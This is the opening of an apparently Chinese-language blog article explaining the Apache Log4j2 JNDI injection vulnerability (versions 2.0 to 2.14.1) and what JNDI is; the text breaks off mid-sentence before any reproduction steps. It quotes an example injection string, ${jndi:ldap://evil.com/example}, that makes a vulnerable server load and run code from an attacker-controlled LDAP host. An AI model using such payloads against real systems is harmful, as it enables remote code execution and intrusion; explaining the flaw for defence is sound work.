log4j2漏洞原理详解、漏洞复现及漏洞利用
创始人
2024-06-02 20:04:15

一、Apache Log4j2介绍

Apache Log4j2 是 Java 语言的日志处理套件,使用极为广泛。在其 2.0 到 2.14.1 版本中存在一处 JNDI 注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于`${jndi:ldap://evil.com/example}`的参数进行 JNDI 注入,执行任意代码。

什么是 JNDI?

Java 命名和目录接口(Java Naming and Directory Interface,缩写 JNDI),是 Java 的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

通俗一点来讲 JNDI 可以远程加载 LDAP 或 RMI 服务端提供的恶意代码注入并执行。

以 LDAP 方式

LDAP:ldap://127.0.0.1/payload 提供恶意代码。

Log4j2 是一个日志处理框

相关内容

热门资讯

苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...